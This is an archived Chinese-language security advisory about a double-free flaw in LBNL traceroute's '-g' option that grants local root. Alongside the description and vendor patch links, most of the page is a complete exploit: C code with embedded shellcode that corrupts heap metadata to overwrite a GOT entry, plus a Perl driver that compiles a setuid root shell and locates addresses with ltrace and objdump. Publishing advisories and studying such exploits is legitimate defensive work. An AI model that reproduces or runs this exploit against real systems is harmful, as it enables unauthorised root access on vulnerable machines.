首页 -> 安全研究
安全研究
安全漏洞
LBNL Traceroute "-g"参数导致free()调用错误漏洞
发布日期:2000-10-09
更新日期:2000-10-09
受影响系统:
不受影响系统:
LBL traceroute 1.4a5
- Trustix Secure Linux 1.1
- Trustix Secure Linux 1.0
- RedHat Linux 6.x
- RedHat Linux 5.x
- Linux Mandrake 7.1
- Linux Mandrake 7.0
- Debian Linux 2.2
- CONECTIVA Linux 4.0, 4.0es, 4.1, 4.2, 5.0, ecommerce, 5.1
- Caldera eDesktop 2.4
- Sun Solaris 2.5.1
- LBL traceroute 1.4a7描述:
- Linux SuSE 6.3, 6.4
- Solaris 2.6/7/8
很多Unix系统将Traceroute 设置了setuid root属性,因为它需要操作raw socket.在
LBNL版的traceroute中存在一个安全漏洞,攻击者可以利用错误的释放未分配的内存
来获取本地root权限。
当traceroute使用"-g x -g x"执行时,函数"savestr()"被调用了两次,在第二次调用
"savestr()"时,free()调用错误的释放一块本来就没有分配的内存,导致用户提供的数
据被写到了Heap区中,通过巧妙构造数据格式,攻击者可以执行任意代码。
<*来源: Pekka Savola (pekkas@netcore.fi)
Chris Evans (chris@ferret.lmh.ox.ac.uk)
W.H.J.Pinckaers (w.h.j.pinckaers@cpedu.rug.nl)
Perry Harrington (pedward@webcom.com)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
dvorak (dvorak@synnergy.net )提供了下列测试代码:
/*
argv0: at first it looks that this doesn't matter but since
this is the value found at the top of the stack and thus
it's length matter for the location of the shellcode.
argv0: bs
argv1: nothing is needed for this it should just contain
6 bytes and a 0 (and off course it should be acceptable
to inet_addr)
argv1: only specific length
addr1 will become: 4 bytes from addr2 + zeros
length so that p->size = last byte + 3 zeros
p->prev_size = first 3 bytes + 00
thus: 6 bytes + 0
p data:
size = 0x20 or so;
prev_size = ((char *)p) - ((char *) eleet stack pointer)
p = addr2 - 7 - 8
so next data should be on addr2 + 0x20 - 7 - 8
argv2: this requires much more thought, the ip_address should be
so that p->prev_size and p->size make sense.
p->prev_size should be so that prev can be found on the
stack since that's an easy place to put it, p->size should
be 0x20 or so so that we can put the next chunk in this
argument too.
argv2: ip addres so that: p->size makes sure next is
somewhere in argv2
p->prev_size should point to eleet data on stack (through
environment)
spacing: next data:
prev_size = 0x41414141;
size = 0xfffffff0
fd = some_random_pointer (or you could use him)
bk = some_random_pointer
after that: data for next (prev_size + size + fd + bk)
prev_size probably negative
argv3: contains the chunk used for prev and the shellcode
including the jmp.
argv3: eleet data on stack + eleet shellcode baby
eleet data:
prev_size = BS;
size = BS
fd = &ret_addr_change - 12
bk = shellcode;
shellcode = jmp forward + nops + code
*/
#include <stdio.h>
/*
easy shellcode - remember there is a certain trick in this baby like
not starting /bin/sh but /tmp/sh (yes the 0 byte is written by the
code itself so make sure there is something worthwhile in /tmp/sh
*/
char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh-O=";
/*
code to jump forward
*/
char jmp_forward[] = "\xeb\x0c";
/*
again the stupid make_addr function ;)
*/
void make_addr(char *res, unsigned int val)
{
int i;
char *p = (char *) &val;
for (i = 0; i < 4; i++)
res[i] = (char) *p++;
res[i] = '\0';
}
/*
which argument number contains the leet_addr and the shellcode?
*/
#define LEETARG 7
int main(int argc, char *argv[])
{
char addr1[1000];
char addr2[1000];
char padding[256];
char execute_me[1000];
int execute_shift = 0;
/* next data: prev_size = crap, size=crap and fd and bk
point to someplace innocent in the stack, if you want
to you can use it to change a second memory place.
*/
char *next_data = "\x41\x41\x41\x41\xf0\xff\xff\xff"
"\xf0\xfd\xff\xbf\xf0\xfd\xff\xbf";
char *leet_data;
/*
The arguments to start traceroute with, -g separated from its
argument because of getopt.
*/
char *arg[] = {"/usr/sbin/traceroute", "-g", addr1, "-g",
addr2, "127.0.0.1", "12", execute_me, NULL};
unsigned int leet_amount;
/*
This needs some explanation: since the prev chunk will be at
a certain distance from p we need to know p since it changes
from binary to binary we'll let the attacker figure it out
and give it to us ;).
*/
unsigned int p = strtoul(argv[2], 0, 0);
char shell_addr[5];
char ret_addr[5];
/* the first addr 6 bytes long */
snprintf(addr1, sizeof(addr1), "1.2.11");
/*
First we fill execute_me (which will make the LEETARG) with
0x41 thats both a NOP and easy to find on the stack.
*/
memset(execute_me, 0x41, sizeof(execute_me));
/*
We put the shellcode and the jmp at the end of execute_me
*/
strncpy(execute_me+sizeof(execute_me)-strlen(shellcode)-20-1,
jmp_forward, strlen(jmp_forward));
strcpy(execute_me+sizeof(execute_me)-strlen(shellcode)-1,
shellcode);
/*
Calculate the address of the shell_code
the stack at startup looks like:
arg4 arg5 arg6 argLEETARG environment arg0 4 bytes
since the environment is gone and LEETARG is the last argument
we only need the length of the shellcode and the length of arg0
*/
make_addr(shell_addr, 0xc0000000 - 4 - (strlen(arg[0]) + 1) -
(strlen(shellcode) +1 + 20));
/*
We also ask the attacker to give the address of the pointer to
change to point to the shellcode. Something in the GOT is
usually very nice
*/
make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12);
/*
leet_data should be in 0xbfff fe00 + (p & 0xff)
now we calculate the address where chunk_free() will look for
prev chunk.
We put prev chunk somewhere between 0xbffffe00 and 0xbfffff00
the precise position is defined by the lsb of p.
*/
printf("p: 0x%08x\n", p);
leet_data = (char *) (0xbffffe00 + ((int)p & 0xff));
printf("leet_data: 0x%08x\n", leet_data);
/*
calculate the value of p->prev_size
*/
leet_amount = p - (0xbffffe00 + ((int)p & 0xff));
printf("leet_amount: 0x%08x\n", leet_amount);
/* the end of execute_me will be on 0xc0000000 - 8
length of execute_me should thus be:
0xc0000000 - leet_data - 8
2 possibilities: either don't put the fake prev chunk at the
beginning of execute_me or change the length of execute_me
we choose the latter.
*/
execute_shift = sizeof(execute_me) -
(0xc0000000 - (int) leet_data - 4 - (strlen(arg[0]) + 1));
printf("execute_shift: %d\n", execute_shift);
arg[LEETARG] += execute_shift;
/*
use strcpy not snprintf since snprintf does 0 terminated its
strings
*/
strncpy(arg[LEETARG], "\x41\x41\x41\x41\x31\x31\x31\x31", 8);
strncpy(arg[LEETARG]+8, ret_addr, 4);
strncpy(arg[LEETARG]+12, shell_addr, 4);
printf("execute_len:%d arg0%d\n", strlen(arg[LEETARG]),
strlen(arg[0]));
printf("execute_me_addr: %08x\n", 0xc0000000 - 4 -
strlen(arg[0]) - strlen(arg[LEETARG]) - 2);
/*
pad the second -g option to place next chunk on the expected
position
*/
memset(padding, ' ', sizeof(padding));
/*
0x20 - p->size
- 7 because thats the size of addr1
- 8 for p->size and p->prev_size
- 12 for addr2 (xx.xx.xx.xx )
*/
padding[0x20 - 7 - 8 - 12] = '\0';
printf("padding: %d bytes\n", strlen(padding));
/*
put hex equivalent of leet amount in ip_address
*/
snprintf(addr2, sizeof(addr2),
"0x%02x.0x%02x.0x%02x.0x%02x%s%s",
((unsigned char *) &leet_amount)[1],
((unsigned char *) &leet_amount)[2],
((unsigned char *) &leet_amount)[3],
0x20,
padding, next_data);
/*
This time it should work ;)
*/
printf("Going for root!!!\n");
execve(arg[0], arg, NULL);
}
#!/bin/perl
# build exploit
system("make ex_god");
system("echo 'void main(void) { setuid(0); setgid(0);
execl(\"/bin/sh\", \"sh\", 0);}' > /tmp/sh.c ; make /tmp/sh >
/dev/null 2>/dev/null");
# get p
system("cp /usr/sbin/traceroute ./tra; ltrace -e malloc -o lk ./tra
-g1 > /dev/null 2>/dev/null; rm ./tra");
open F, "<lk";
$line = <F>;
($dummy, $p) = split( /\= /, $line,2);
$p = (hex $p) - 1;
close F;
# get a GOT entry
open F, "objdump -R /usr/sbin/traceroute | grep getopt|";
$line = <F>;
($got, $dummy) = split( / /, $line, 2);
close F;
system("./ex_god 0x$got $p");
建议:
临时解决方案:
NSFOCUS建议您再没有安装补丁程序之前,暂时却掉traceroute的suid root属性。
厂商补丁:
[ Red Hat Linux 5.x ]:
alpha:
ftp://updates.redhat.com/5.2/alpha/traceroute-1.4a5-24.5x.alpha.rpm
sparc:
ftp://updates.redhat.com/5.2/sparc/traceroute-1.4a5-24.5x.sparc.rpm
i386:
ftp://updates.redhat.com/5.2/i386/traceroute-1.4a5-24.5x.i386.rpm
sources:
ftp://updates.redhat.com/5.2/SRPMS/traceroute-1.4a5-24.5x.src.rpm
[ Red Hat Linux 6.x ]:
alpha:
ftp://updates.redhat.com/6.2/alpha/traceroute-1.4a5-24.6x.alpha.rpm
sparc:
ftp://updates.redhat.com/6.2/sparc/traceroute-1.4a5-24.6x.sparc.rpm
i386:
ftp://updates.redhat.com/6.2/i386/traceroute-1.4a5-24.6x.i386.rpm
sources:
ftp://updates.redhat.com/6.2/SRPMS/traceroute-1.4a5-24.6x.src.rpm
[ ImmunixOS 6.2 ]:
http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/traceroute-1.4a5-24.6x_StackGuard.i386.rpm
http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/traceroute-1.4a5-24.6x_StackGuard.src.rpm
[ Trustix Linux ]
http://www.trustix.net/download/Trustix/updates/1.1/RPMS/traceroute-1.4a5-18tr.i586.rpm
[ Linux Mandrake ]
Linux-Mandrake 6.0:
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/6.0/RPMS/traceroute-1.4a5-12mdk.i586.rpm
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/6.0/SRPMS/traceroute-1.4a5-12mdk.src.rpm
Linux-Mandrake 6.1:
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/6.1/RPMS/traceroute-1.4a5-12mdk.i586.rpm
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/6.1/SRPMS/traceroute-1.4a5-12mdk.src.rpm
Linux-Mandrake 7.0:
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.0/RPMS/traceroute-1.4a5-12mdk.i586.rpm
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.0/SRPMS/traceroute-1.4a5-12mdk.src.rpm
Linux-Mandrake 7.1:
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.1/RPMS/traceroute-1.4a5-12mdk.i586.rpm
ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.1/SRPMS/traceroute-1.4a5-12mdk.src.rpm
[ conectiva Linux ]:
ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.1/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.2/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.0/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/traceroute-1.4a7-2cl.i386.rpm
浏览次数:7426
严重程度:0(网友投票)
绿盟科技给您安全的保障